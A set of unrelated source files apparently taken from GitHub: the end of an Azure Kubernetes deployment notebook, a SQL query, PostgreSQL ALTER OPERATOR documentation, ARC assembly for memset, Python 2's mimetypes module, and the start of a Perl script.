"This compute target can be seen on the Azure portal, under the `Compute` tab.\n",
"\n",
"<img src=\"media/aks_compute_target_cpu.jpg\" width=\"900\">"
]
},
{
"cell_type": "code",
"execution_count": 9,
"metadata": {},
"outputs": [
{
"name": "stdout",
"output_type": "stream",
"text": [
"The AKS compute target provisioning succeeded -- There were 'None' errors\n"
]
}
],
"source": [
"# Check provisioning status\n",
"print(f\"The AKS compute target provisioning {aks_target.provisioning_state.lower()} -- There were '{aks_target.provisioning_errors}' errors\")"
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"The set of resources we will use to deploy our web service on AKS is now provisioned and available.\n",
"\n",
"### 2.D Monitoring activation <a id=\"monitor\"/>\n",
"\n",
"Once our web app is up and running, it is very important to monitor it, and measure the amount of traffic it gets, how long it takes to respond, the type of exceptions that get raised, etc. We will do so through [Application Insights](https://docs.microsoft.com/en-us/azure/azure-monitor/app/app-insights-overview), which is an application performance management service. To enable it on our soon-to-be-deployed web service, we first need to update our AKS configuration file:"
]
},
{
"cell_type": "code",
"execution_count": 10,
"metadata": {},
"outputs": [],
"source": [
"# Set the AKS web service configuration and add monitoring to it\n",
"aks_config = AksWebservice.deploy_configuration(enable_app_insights=True)"
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"### 2.E Service deployment <a id=\"svc_deploy\"/>\n",
"\n",
"We are now ready to deploy our web service. As in the [first](21_deployment_on_azure_container_instances.ipynb) notebook, we will deploy from the Docker image. It indeed contains our image classifier model and the conda environment needed for the scoring script to work properly. The parameters to pass to the `Webservice.deploy_from_image()` command are similar to those used for the deployment on ACI. The only major difference is the compute target (`aks_target`), i.e. the CPU cluster we just spun up.\n",
"\n",
"<i><b>Note:</b> This deployment takes a few minutes to complete.</i>"
]
},
{
"cell_type": "code",
"execution_count": 11,
"metadata": {},
"outputs": [
{
"name": "stdout",
"output_type": "stream",
"text": [
"Creating service\n",
"Running................................\n",
"SucceededAKS service creation operation finished, operation \"Succeeded\"\n",
"The web service is Healthy\n"
]
}
],
"source": [
"if aks_target.provisioning_state== \"Succeeded\": \n",
" aks_service_name ='aks-cpu-image-classif-web-svc'\n",
" aks_service = Webservice.deploy_from_image(\n",
" workspace = ws, \n",
" name = aks_service_name,\n",
" image = docker_image,\n",
" deployment_config = aks_config,\n",
" deployment_target = aks_target\n",
" )\n",
" aks_service.wait_for_deployment(show_output = True)\n",
" print(f\"The web service is {aks_service.state}\")\n",
"else:\n",
" raise ValueError(\"The web service deployment failed.\")"
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"When successful, we should see the following:\n",
"\n",
"```\n",
"Creating service\n",
"Running ...\n",
"SucceededAKS service creation operation finished, operation \"Succeeded\"\n",
"The web service is Healthy\n",
"```\n",
"\n",
"In the case where the deployment is not successful, we can look at the service logs to debug. [These instructions](https://docs.microsoft.com/en-us/azure/machine-learning/service/how-to-troubleshoot-deployment) can also be helpful."
]
},
{
"cell_type": "code",
"execution_count": 12,
"metadata": {},
"outputs": [],
"source": [
"# Access to the service logs\n",
"# print(aks_service.get_logs())"
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"The new deployment can be seen on the portal, under the Deployments tab.\n",
"\n",
"<img src=\"media/aks_webservice_cpu.jpg\" width=\"900\">"
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"Our web service is up, and is running on AKS."
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"## 3. Clean up <a id=\"clean\">\n",
" \n",
"In a real-life scenario, it is likely that the service we created would need to be up and running at all times. However, in the present demonstrative case, and once we have verified that our service works (cf. \"Next steps\" section below), we can delete it as well as all the resources we used.\n",
"\n",
"In this notebook, the only resource we added to our subscription, in comparison to what we had at the end of the notebook on ACI deployment, is the AKS cluster. There is no fee for cluster management. The only components we are paying for are:\n",
"- the cluster nodes\n",
"- the managed OS disks.\n",
"\n",
"Here, we used Standard D3 V2 machines, which come with a temporary storage of 200 GB. Over the course of this tutorial (assuming ~ 1 hour), this changed almost nothing to our bill. Now, it is important to understand that each hour during which the cluster is up gets billed, whether the web service is called or not. The same is true for the ACI and workspace we have been using until now.\n",
"\n",
"To get a better sense of pricing, we can refer to [this calculator](https://azure.microsoft.com/en-us/pricing/calculator/?service=kubernetes-service#kubernetes-service). We can also navigate to the [Cost Management + Billing pane](https://ms.portal.azure.com/#blade/Microsoft_Azure_Billing/ModernBillingMenuBlade/Overview) on the portal, click on our subscription ID, and click on the Cost Analysis tab to check our credit usage.\n",
"\n",
"If we plan on no longer using this web service, we can turn monitoring off, and delete the compute target, the service itself as well as the associated Docker image."
]
},
{
"cell_type": "code",
"execution_count": 13,
"metadata": {},
"outputs": [],
"source": [
"# Application Insights deactivation\n",
"# aks_service.update(enable_app_insights=False)\n",
"\n",
"# Service termination\n",
"# aks_service.delete()\n",
"\n",
"# Compute target deletion\n",
"# aks_target.delete()\n",
"# This command executes fast but the actual deletion of the AKS cluster takes several minutes\n",
"\n",
"# Docker image deletion\n",
"# docker_image.delete()"
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"At this point, all the service resources we used in this notebook have been deleted. We are only now paying for our workspace.\n",
"\n",
"If our goal is to continue using our workspace, we should keep it available. On the contrary, if we plan on no longer using it and its associated resources, we can delete it.\n",
"\n",
"<i><b>Note:</b> Deleting the workspace will delete all the experiments, outputs, models, Docker images, deployments, etc. that we created in that workspace.</i>"
]
},
{
"cell_type": "code",
"execution_count": 14,
"metadata": {},
"outputs": [],
"source": [
"# ws.delete(delete_dependent_resources=True)\n",
"# This deletes our workspace, the container registry, the account storage, Application Insights and the key vault"
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"## 4. Next steps <a id=\"next\"/>\n",
"In the [next notebook](23_aci_aks_web_service_testing.ipynb), we will test the web services we deployed on ACI and on AKS."
]
}
],
"metadata": {
"celltoolbar": "Tags",
"jupytext": {
"formats": "ipynb,py:light"
},
"kernelspec": {
"display_name": "cv",
"language": "python",
"name": "cv"
},
"language_info": {
"codemirror_mode": {
"name": "ipython",
"version": 3
},
"file_extension": ".py",
"mimetype": "text/x-python",
"name": "python",
"nbconvert_exporter": "python",
"pygments_lexer": "ipython3",
"version": "3.6.8"
}
},
"nbformat": 4,
"nbformat_minor": 2
}
| {
"pile_set_name": "Github"
} |
--
-- Licensed to the Apache Software Foundation (ASF) under one
-- or more contributor license agreements. See the NOTICE file
-- distributed with this work for additional information
-- regarding copyright ownership. The ASF licenses this file
-- to you under the Apache License, Version 2.0 (the
-- "License"); you may not use this file except in compliance
-- with the License. You may obtain a copy of the License at
--
-- http://www.apache.org/licenses/LICENSE-2.0
--
-- Unless required by applicable law or agreed to in writing, software
-- distributed under the License is distributed on an "AS IS" BASIS,
-- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-- See the License for the specific language governing permissions and
-- limitations under the License.
--
select count(*) as CNT from edw.test_seller_type_dim
| {
"pile_set_name": "Github"
} |
<!--
doc/src/sgml/ref/alter_operator.sgml
PostgreSQL documentation
-->
<refentry id="SQL-ALTEROPERATOR">
<indexterm zone="sql-alteroperator">
<primary>ALTER OPERATOR</primary>
</indexterm>
<refmeta>
<refentrytitle>ALTER OPERATOR</refentrytitle>
<manvolnum>7</manvolnum>
<refmiscinfo>SQL - Language Statements</refmiscinfo>
</refmeta>
<refnamediv>
<refname>ALTER OPERATOR</refname>
<refpurpose>change the definition of an operator</refpurpose>
</refnamediv>
<refsynopsisdiv>
<synopsis>
ALTER OPERATOR <replaceable>name</replaceable> ( { <replaceable>left_type</replaceable> | NONE } , { <replaceable>right_type</replaceable> | NONE } )
OWNER TO { <replaceable>new_owner</replaceable> | CURRENT_USER | SESSION_USER }
ALTER OPERATOR <replaceable>name</replaceable> ( { <replaceable>left_type</replaceable> | NONE } , { <replaceable>right_type</replaceable> | NONE } )
SET SCHEMA <replaceable>new_schema</replaceable>
ALTER OPERATOR <replaceable>name</replaceable> ( { <replaceable>left_type</replaceable> | NONE } , { <replaceable>right_type</replaceable> | NONE } )
SET ( { RESTRICT = { <replaceable class="parameter">res_proc</replaceable> | NONE }
| JOIN = { <replaceable class="parameter">join_proc</replaceable> | NONE }
} [, ... ] )
</synopsis>
</refsynopsisdiv>
<refsect1>
<title>Description</title>
<para>
<command>ALTER OPERATOR</command> changes the definition of
an operator.
</para>
<para>
You must own the operator to use <command>ALTER OPERATOR</>.
To alter the owner, you must also be a direct or indirect member of the new
owning role, and that role must have <literal>CREATE</literal> privilege on
the operator's schema. (These restrictions enforce that altering the owner
doesn't do anything you couldn't do by dropping and recreating the operator.
However, a superuser can alter ownership of any operator anyway.)
</para>
</refsect1>
<refsect1>
<title>Parameters</title>
<variablelist>
<varlistentry>
<term><replaceable class="parameter">name</replaceable></term>
<listitem>
<para>
The name (optionally schema-qualified) of an existing operator.
</para>
</listitem>
</varlistentry>
<varlistentry>
<term><replaceable class="parameter">left_type</replaceable></term>
<listitem>
<para>
The data type of the operator's left operand; write
<literal>NONE</literal> if the operator has no left operand.
</para>
</listitem>
</varlistentry>
<varlistentry>
<term><replaceable class="parameter">right_type</replaceable></term>
<listitem>
<para>
The data type of the operator's right operand; write
<literal>NONE</literal> if the operator has no right operand.
</para>
</listitem>
</varlistentry>
<varlistentry>
<term><replaceable class="parameter">new_owner</replaceable></term>
<listitem>
<para>
The new owner of the operator.
</para>
</listitem>
</varlistentry>
<varlistentry>
<term><replaceable class="parameter">new_schema</replaceable></term>
<listitem>
<para>
The new schema for the operator.
</para>
</listitem>
</varlistentry>
<varlistentry>
<term><replaceable class="parameter">res_proc</replaceable></term>
<listitem>
<para>
The restriction selectivity estimator function for this operator; write NONE to remove existing selectivity estimator.
</para>
</listitem>
</varlistentry>
<varlistentry>
<term><replaceable class="parameter">join_proc</replaceable></term>
<listitem>
<para>
The join selectivity estimator function for this operator; write NONE to remove existing selectivity estimator.
</para>
</listitem>
</varlistentry>
</variablelist>
</refsect1>
<refsect1>
<title>Examples</title>
<para>
Change the owner of a custom operator <literal>a @@ b</literal> for type <type>text</type>:
<programlisting>
ALTER OPERATOR @@ (text, text) OWNER TO joe;
</programlisting></para>
<para>
Change the restriction and join selectivity estimator functions of a custom operator <literal>a && b</literal> for type <type>int[]</type>:
<programlisting>
ALTER OPERATOR && (_int4, _int4) SET (RESTRICT = _int_contsel, JOIN = _int_contjoinsel);
</programlisting></para>
</refsect1>
<refsect1>
<title>Compatibility</title>
<para>
There is no <command>ALTER OPERATOR</command> statement in
the SQL standard.
</para>
</refsect1>
<refsect1>
<title>See Also</title>
<simplelist type="inline">
<member><xref linkend="sql-createoperator"></member>
<member><xref linkend="sql-dropoperator"></member>
</simplelist>
</refsect1>
</refentry>
| {
"pile_set_name": "Github"
} |
/*
Copyright (c) 2015, Synopsys, Inc. All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
1) Redistributions of source code must retain the above copyright notice,
this list of conditions and the following disclaimer.
2) Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
3) Neither the name of the Synopsys, Inc., nor the names of its contributors
may be used to endorse or promote products derived from this software
without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE
LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
POSSIBILITY OF SUCH DAMAGE.
*/
/* This implementation is optimized for performance. For code size a generic
implementation of this function from newlib/libc/string/memset.c will be
used. */
#if !defined (__OPTIMIZE_SIZE__) && !defined (PREFER_SIZE_OVER_SPEED)
#include "asm.h"
#ifdef __ARCHS__
#define USE_PREFETCH
#ifdef USE_PREFETCH
#define PREWRITE(A,B) prefetchw [(A),(B)]
#else
#define PREWRITE(A,B) prealloc [(A),(B)]
#endif
ENTRY (memset)
prefetchw [r0] ; Prefetch the write location
mov.f 0, r2
; if size is zero
jz.d [blink]
mov r3, r0 ; don't clobber ret val
; if length < 8
brls.d.nt r2, 8, .Lsmallchunk
mov.f lp_count,r2
and.f r4, r0, 0x03
rsub lp_count, r4, 4
lpnz @.Laligndestination
; LOOP BEGIN
stb.ab r1, [r3,1]
sub r2, r2, 1
.Laligndestination:
; Destination is aligned
and r1, r1, 0xFF
asl r4, r1, 8
or r4, r4, r1
asl r5, r4, 16
or r5, r5, r4
mov r4, r5
sub3 lp_count, r2, 8
cmp r2, 64
bmsk.hi r2, r2, 5
mov.ls lp_count, 0
add3.hi r2, r2, 8
; Convert len to Dwords, unfold x8
lsr.f lp_count, lp_count, 6
lpnz @.Lset64bytes
; LOOP START
PREWRITE (r3, 64) ;Prefetch the next write location
#ifdef __ARC_LL64__
std.ab r4, [r3, 8]
std.ab r4, [r3, 8]
std.ab r4, [r3, 8]
std.ab r4, [r3, 8]
std.ab r4, [r3, 8]
std.ab r4, [r3, 8]
std.ab r4, [r3, 8]
std.ab r4, [r3, 8]
#else
st.ab r4, [r3, 4]
st.ab r4, [r3, 4]
st.ab r4, [r3, 4]
st.ab r4, [r3, 4]
st.ab r4, [r3, 4]
st.ab r4, [r3, 4]
st.ab r4, [r3, 4]
st.ab r4, [r3, 4]
st.ab r4, [r3, 4]
st.ab r4, [r3, 4]
st.ab r4, [r3, 4]
st.ab r4, [r3, 4]
st.ab r4, [r3, 4]
st.ab r4, [r3, 4]
st.ab r4, [r3, 4]
st.ab r4, [r3, 4]
#endif
.Lset64bytes:
lsr.f lp_count, r2, 5 ;Last remaining max 124 bytes
lpnz .Lset32bytes
; LOOP START
prefetchw [r3, 32] ;Prefetch the next write location
#ifdef __ARC_LL64__
std.ab r4, [r3, 8]
std.ab r4, [r3, 8]
std.ab r4, [r3, 8]
std.ab r4, [r3, 8]
#else
st.ab r4, [r3, 4]
st.ab r4, [r3, 4]
st.ab r4, [r3, 4]
st.ab r4, [r3, 4]
st.ab r4, [r3, 4]
st.ab r4, [r3, 4]
st.ab r4, [r3, 4]
st.ab r4, [r3, 4]
#endif
.Lset32bytes:
and.f lp_count, r2, 0x1F ;Last remaining 31 bytes
.Lsmallchunk:
lpnz .Lcopy3bytes
; LOOP START
stb.ab r1, [r3, 1]
.Lcopy3bytes:
j [blink]
ENDFUNC (memset)
#endif /* __ARCHS__ */
#endif /* !__OPTIMIZE_SIZE__ && !PREFER_SIZE_OVER_SPEED */
| {
"pile_set_name": "Github"
} |
"""Guess the MIME type of a file.
This module defines two useful functions:
guess_type(url, strict=1) -- guess the MIME type and encoding of a URL.
guess_extension(type, strict=1) -- guess the extension for a given MIME type.
It also contains the following, for tuning the behavior:
Data:
knownfiles -- list of files to parse
inited -- flag set when init() has been called
suffix_map -- dictionary mapping suffixes to suffixes
encodings_map -- dictionary mapping suffixes to encodings
types_map -- dictionary mapping suffixes to types
Functions:
init([files]) -- parse a list of files, default knownfiles (on Windows, the
default values are taken from the registry)
read_mime_types(file) -- parse one file, return a dictionary or None
"""
import os
import sys
import posixpath
import urllib
try:
import _winreg
except ImportError:
_winreg = None
__all__ = [
"guess_type","guess_extension","guess_all_extensions",
"add_type","read_mime_types","init"
]
knownfiles = [
"/etc/mime.types",
"/etc/httpd/mime.types", # Mac OS X
"/etc/httpd/conf/mime.types", # Apache
"/etc/apache/mime.types", # Apache 1
"/etc/apache2/mime.types", # Apache 2
"/usr/local/etc/httpd/conf/mime.types",
"/usr/local/lib/netscape/mime.types",
"/usr/local/etc/httpd/conf/mime.types", # Apache 1.2
"/usr/local/etc/mime.types", # Apache 1.3
]
inited = False
_db = None
class MimeTypes:
"""MIME-types datastore.
This datastore can handle information from mime.types-style files
and supports basic determination of MIME type from a filename or
URL, and can guess a reasonable extension given a MIME type.
"""
def __init__(self, filenames=(), strict=True):
if not inited:
init()
self.encodings_map = encodings_map.copy()
self.suffix_map = suffix_map.copy()
self.types_map = ({}, {}) # dict for (non-strict, strict)
self.types_map_inv = ({}, {})
for (ext, type) in types_map.items():
self.add_type(type, ext, True)
for (ext, type) in common_types.items():
self.add_type(type, ext, False)
for name in filenames:
self.read(name, strict)
def add_type(self, type, ext, strict=True):
"""Add a mapping between a type and an extension.
When the extension is already known, the new
type will replace the old one. When the type
is already known the extension will be added
to the list of known extensions.
If strict is true, information will be added to
list of standard types, else to the list of non-standard
types.
"""
self.types_map[strict][ext] = type
exts = self.types_map_inv[strict].setdefault(type, [])
if ext not in exts:
exts.append(ext)
def guess_type(self, url, strict=True):
"""Guess the type of a file based on its URL.
Return value is a tuple (type, encoding) where type is None if
the type can't be guessed (no or unknown suffix) or a string
of the form type/subtype, usable for a MIME Content-type
header; and encoding is None for no encoding or the name of
the program used to encode (e.g. compress or gzip). The
mappings are table driven. Encoding suffixes are case
sensitive; type suffixes are first tried case sensitive, then
case insensitive.
The suffixes .tgz, .taz and .tz (case sensitive!) are all
mapped to '.tar.gz'. (This is table-driven too, using the
dictionary suffix_map.)
Optional `strict' argument when False adds a bunch of commonly found,
but non-standard types.
"""
scheme, url = urllib.splittype(url)
if scheme == 'data':
# syntax of data URLs:
# dataurl := "data:" [ mediatype ] [ ";base64" ] "," data
# mediatype := [ type "/" subtype ] *( ";" parameter )
# data := *urlchar
# parameter := attribute "=" value
# type/subtype defaults to "text/plain"
comma = url.find(',')
if comma < 0:
# bad data URL
return None, None
semi = url.find(';', 0, comma)
if semi >= 0:
type = url[:semi]
else:
type = url[:comma]
if '=' in type or '/' not in type:
type = 'text/plain'
return type, None # never compressed, so encoding is None
base, ext = posixpath.splitext(url)
while ext in self.suffix_map:
base, ext = posixpath.splitext(base + self.suffix_map[ext])
if ext in self.encodings_map:
encoding = self.encodings_map[ext]
base, ext = posixpath.splitext(base)
else:
encoding = None
types_map = self.types_map[True]
if ext in types_map:
return types_map[ext], encoding
elif ext.lower() in types_map:
return types_map[ext.lower()], encoding
elif strict:
return None, encoding
types_map = self.types_map[False]
if ext in types_map:
return types_map[ext], encoding
elif ext.lower() in types_map:
return types_map[ext.lower()], encoding
else:
return None, encoding
def guess_all_extensions(self, type, strict=True):
"""Guess the extensions for a file based on its MIME type.
Return value is a list of strings giving the possible filename
extensions, including the leading dot ('.'). The extension is not
guaranteed to have been associated with any particular data stream,
but would be mapped to the MIME type `type' by guess_type().
Optional `strict' argument when false adds a bunch of commonly found,
but non-standard types.
"""
type = type.lower()
extensions = self.types_map_inv[True].get(type, [])
if not strict:
for ext in self.types_map_inv[False].get(type, []):
if ext not in extensions:
extensions.append(ext)
return extensions
def guess_extension(self, type, strict=True):
"""Guess the extension for a file based on its MIME type.
Return value is a string giving a filename extension,
including the leading dot ('.'). The extension is not
guaranteed to have been associated with any particular data
stream, but would be mapped to the MIME type `type' by
guess_type(). If no extension can be guessed for `type', None
is returned.
Optional `strict' argument when false adds a bunch of commonly found,
but non-standard types.
"""
extensions = self.guess_all_extensions(type, strict)
if not extensions:
return None
return extensions[0]
def read(self, filename, strict=True):
"""
Read a single mime.types-format file, specified by pathname.
If strict is true, information will be added to
list of standard types, else to the list of non-standard
types.
"""
with open(filename) as fp:
self.readfp(fp, strict)
def readfp(self, fp, strict=True):
"""
Read a single mime.types-format file.
If strict is true, information will be added to
list of standard types, else to the list of non-standard
types.
"""
while 1:
line = fp.readline()
if not line:
break
words = line.split()
for i in range(len(words)):
if words[i][0] == '#':
del words[i:]
break
if not words:
continue
type, suffixes = words[0], words[1:]
for suff in suffixes:
self.add_type(type, '.' + suff, strict)
def read_windows_registry(self, strict=True):
"""
Load the MIME types database from Windows registry.
If strict is true, information will be added to
list of standard types, else to the list of non-standard
types.
"""
# Windows only
if not _winreg:
return
def enum_types(mimedb):
i = 0
while True:
try:
ctype = _winreg.EnumKey(mimedb, i)
except EnvironmentError:
break
else:
if '\0' not in ctype:
yield ctype
i += 1
default_encoding = sys.getdefaultencoding()
with _winreg.OpenKey(_winreg.HKEY_CLASSES_ROOT, '') as hkcr:
for subkeyname in enum_types(hkcr):
try:
with _winreg.OpenKey(hkcr, subkeyname) as subkey:
# Only check file extensions
if not subkeyname.startswith("."):
continue
# raises EnvironmentError if no 'Content Type' value
mimetype, datatype = _winreg.QueryValueEx(
subkey, 'Content Type')
if datatype != _winreg.REG_SZ:
continue
try:
mimetype = mimetype.encode(default_encoding)
except UnicodeEncodeError:
continue
self.add_type(mimetype, subkeyname, strict)
except EnvironmentError:
continue
def guess_type(url, strict=True):
"""Guess the type of a file based on its URL.
Return value is a tuple (type, encoding) where type is None if the
type can't be guessed (no or unknown suffix) or a string of the
form type/subtype, usable for a MIME Content-type header; and
encoding is None for no encoding or the name of the program used
to encode (e.g. compress or gzip). The mappings are table
driven. Encoding suffixes are case sensitive; type suffixes are
first tried case sensitive, then case insensitive.
The suffixes .tgz, .taz and .tz (case sensitive!) are all mapped
to ".tar.gz". (This is table-driven too, using the dictionary
suffix_map).
Optional `strict' argument when false adds a bunch of commonly found, but
non-standard types.
"""
if _db is None:
init()
return _db.guess_type(url, strict)
def guess_all_extensions(type, strict=True):
"""Guess the extensions for a file based on its MIME type.
Return value is a list of strings giving the possible filename
extensions, including the leading dot ('.'). The extension is not
guaranteed to have been associated with any particular data
stream, but would be mapped to the MIME type `type' by
guess_type(). If no extension can be guessed for `type', None
is returned.
Optional `strict' argument when false adds a bunch of commonly found,
but non-standard types.
"""
if _db is None:
init()
return _db.guess_all_extensions(type, strict)
def guess_extension(type, strict=True):
"""Guess the extension for a file based on its MIME type.
Return value is a string giving a filename extension, including the
leading dot ('.'). The extension is not guaranteed to have been
associated with any particular data stream, but would be mapped to the
MIME type `type' by guess_type(). If no extension can be guessed for
`type', None is returned.
Optional `strict' argument when false adds a bunch of commonly found,
but non-standard types.
"""
if _db is None:
init()
return _db.guess_extension(type, strict)
def add_type(type, ext, strict=True):
"""Add a mapping between a type and an extension.
When the extension is already known, the new
type will replace the old one. When the type
is already known the extension will be added
to the list of known extensions.
If strict is true, information will be added to
list of standard types, else to the list of non-standard
types.
"""
if _db is None:
init()
return _db.add_type(type, ext, strict)
def init(files=None):
global suffix_map, types_map, encodings_map, common_types
global inited, _db
inited = True # so that MimeTypes.__init__() doesn't call us again
db = MimeTypes()
if files is None:
if _winreg:
db.read_windows_registry()
files = knownfiles
for file in files:
if os.path.isfile(file):
db.read(file)
encodings_map = db.encodings_map
suffix_map = db.suffix_map
types_map = db.types_map[True]
common_types = db.types_map[False]
# Make the DB a global variable now that it is fully initialized
_db = db
def read_mime_types(file):
try:
f = open(file)
except IOError:
return None
with f:
db = MimeTypes()
db.readfp(f, True)
return db.types_map[True]
def _default_mime_types():
global suffix_map
global encodings_map
global types_map
global common_types
suffix_map = {
'.svgz': '.svg.gz',
'.tgz': '.tar.gz',
'.taz': '.tar.gz',
'.tz': '.tar.gz',
'.tbz2': '.tar.bz2',
'.txz': '.tar.xz',
}
encodings_map = {
'.gz': 'gzip',
'.Z': 'compress',
'.bz2': 'bzip2',
'.xz': 'xz',
}
# Before adding new types, make sure they are either registered with IANA,
# at http://www.isi.edu/in-notes/iana/assignments/media-types
# or extensions, i.e. using the x- prefix
# If you add to these, please keep them sorted!
types_map = {
'.a' : 'application/octet-stream',
'.ai' : 'application/postscript',
'.aif' : 'audio/x-aiff',
'.aifc' : 'audio/x-aiff',
'.aiff' : 'audio/x-aiff',
'.au' : 'audio/basic',
'.avi' : 'video/x-msvideo',
'.bat' : 'text/plain',
'.bcpio' : 'application/x-bcpio',
'.bin' : 'application/octet-stream',
'.bmp' : 'image/x-ms-bmp',
'.c' : 'text/plain',
# Duplicates :(
'.cdf' : 'application/x-cdf',
'.cdf' : 'application/x-netcdf',
'.cpio' : 'application/x-cpio',
'.csh' : 'application/x-csh',
'.css' : 'text/css',
'.csv' : 'text/csv',
'.dll' : 'application/octet-stream',
'.doc' : 'application/msword',
'.dot' : 'application/msword',
'.dvi' : 'application/x-dvi',
'.eml' : 'message/rfc822',
'.eps' : 'application/postscript',
'.etx' : 'text/x-setext',
'.exe' : 'application/octet-stream',
'.gif' : 'image/gif',
'.gtar' : 'application/x-gtar',
'.h' : 'text/plain',
'.hdf' : 'application/x-hdf',
'.htm' : 'text/html',
'.html' : 'text/html',
'.ico' : 'image/vnd.microsoft.icon',
'.ief' : 'image/ief',
'.jpe' : 'image/jpeg',
'.jpeg' : 'image/jpeg',
'.jpg' : 'image/jpeg',
'.js' : 'application/javascript',
'.ksh' : 'text/plain',
'.latex' : 'application/x-latex',
'.m1v' : 'video/mpeg',
'.man' : 'application/x-troff-man',
'.me' : 'application/x-troff-me',
'.mht' : 'message/rfc822',
'.mhtml' : 'message/rfc822',
'.mif' : 'application/x-mif',
'.mov' : 'video/quicktime',
'.movie' : 'video/x-sgi-movie',
'.mp2' : 'audio/mpeg',
'.mp3' : 'audio/mpeg',
'.mp4' : 'video/mp4',
'.mpa' : 'video/mpeg',
'.mpe' : 'video/mpeg',
'.mpeg' : 'video/mpeg',
'.mpg' : 'video/mpeg',
'.ms' : 'application/x-troff-ms',
'.nc' : 'application/x-netcdf',
'.nws' : 'message/rfc822',
'.o' : 'application/octet-stream',
'.obj' : 'application/octet-stream',
'.oda' : 'application/oda',
'.p12' : 'application/x-pkcs12',
'.p7c' : 'application/pkcs7-mime',
'.pbm' : 'image/x-portable-bitmap',
'.pdf' : 'application/pdf',
'.pfx' : 'application/x-pkcs12',
'.pgm' : 'image/x-portable-graymap',
'.pl' : 'text/plain',
'.png' : 'image/png',
'.pnm' : 'image/x-portable-anymap',
'.pot' : 'application/vnd.ms-powerpoint',
'.ppa' : 'application/vnd.ms-powerpoint',
'.ppm' : 'image/x-portable-pixmap',
'.pps' : 'application/vnd.ms-powerpoint',
'.ppt' : 'application/vnd.ms-powerpoint',
'.ps' : 'application/postscript',
'.pwz' : 'application/vnd.ms-powerpoint',
'.py' : 'text/x-python',
'.pyc' : 'application/x-python-code',
'.pyo' : 'application/x-python-code',
'.qt' : 'video/quicktime',
'.ra' : 'audio/x-pn-realaudio',
'.ram' : 'application/x-pn-realaudio',
'.ras' : 'image/x-cmu-raster',
'.rdf' : 'application/xml',
'.rgb' : 'image/x-rgb',
'.roff' : 'application/x-troff',
'.rtx' : 'text/richtext',
'.sgm' : 'text/x-sgml',
'.sgml' : 'text/x-sgml',
'.sh' : 'application/x-sh',
'.shar' : 'application/x-shar',
'.snd' : 'audio/basic',
'.so' : 'application/octet-stream',
'.src' : 'application/x-wais-source',
'.sv4cpio': 'application/x-sv4cpio',
'.sv4crc' : 'application/x-sv4crc',
'.svg' : 'image/svg+xml',
'.swf' : 'application/x-shockwave-flash',
'.t' : 'application/x-troff',
'.tar' : 'application/x-tar',
'.tcl' : 'application/x-tcl',
'.tex' : 'application/x-tex',
'.texi' : 'application/x-texinfo',
'.texinfo': 'application/x-texinfo',
'.tif' : 'image/tiff',
'.tiff' : 'image/tiff',
'.tr' : 'application/x-troff',
'.tsv' : 'text/tab-separated-values',
'.txt' : 'text/plain',
'.ustar' : 'application/x-ustar',
'.vcf' : 'text/x-vcard',
'.wav' : 'audio/x-wav',
'.webm' : 'video/webm',
'.wiz' : 'application/msword',
'.wsdl' : 'application/xml',
'.xbm' : 'image/x-xbitmap',
'.xlb' : 'application/vnd.ms-excel',
# Duplicates :(
'.xls' : 'application/excel',
'.xls' : 'application/vnd.ms-excel',
'.xml' : 'text/xml',
'.xpdl' : 'application/xml',
'.xpm' : 'image/x-xpixmap',
'.xsl' : 'application/xml',
'.xwd' : 'image/x-xwindowdump',
'.zip' : 'application/zip',
}
# These are non-standard types, commonly found in the wild. They will
# only match if strict=0 flag is given to the API methods.
# Please sort these too
common_types = {
'.jpg' : 'image/jpg',
'.mid' : 'audio/midi',
'.midi': 'audio/midi',
'.pct' : 'image/pict',
'.pic' : 'image/pict',
'.pict': 'image/pict',
'.rtf' : 'application/rtf',
'.xul' : 'text/xul'
}
_default_mime_types()
if __name__ == '__main__':
import getopt
USAGE = """\
Usage: mimetypes.py [options] type
Options:
--help / -h -- print this message and exit
--lenient / -l -- additionally search of some common, but non-standard
types.
--extension / -e -- guess extension instead of type
More than one type argument may be given.
"""
def usage(code, msg=''):
print USAGE
if msg: print msg
sys.exit(code)
try:
opts, args = getopt.getopt(sys.argv[1:], 'hle',
['help', 'lenient', 'extension'])
except getopt.error, msg:
usage(1, msg)
strict = 1
extension = 0
for opt, arg in opts:
if opt in ('-h', '--help'):
usage(0)
elif opt in ('-l', '--lenient'):
strict = 0
elif opt in ('-e', '--extension'):
extension = 1
for gtype in args:
if extension:
guess = guess_extension(gtype, strict)
if not guess: print "I don't know anything about type", gtype
else: print guess
else:
guess, encoding = guess_type(gtype, strict)
if not guess: print "I don't know anything about type", gtype
else: print 'type:', guess, 'encoding:', encoding
| {
"pile_set_name": "Github"
} |
#!/usr/bin/env perl
use strict;
use Getopt::Long;
use FindBin qw($Bin);
use File::Temp qw(tempdir tempfile);
use POSIX;
my $PID = $$;
$SIG{TERM} = $SIG{INT} = $SIG{QUIT} = sub { die; };
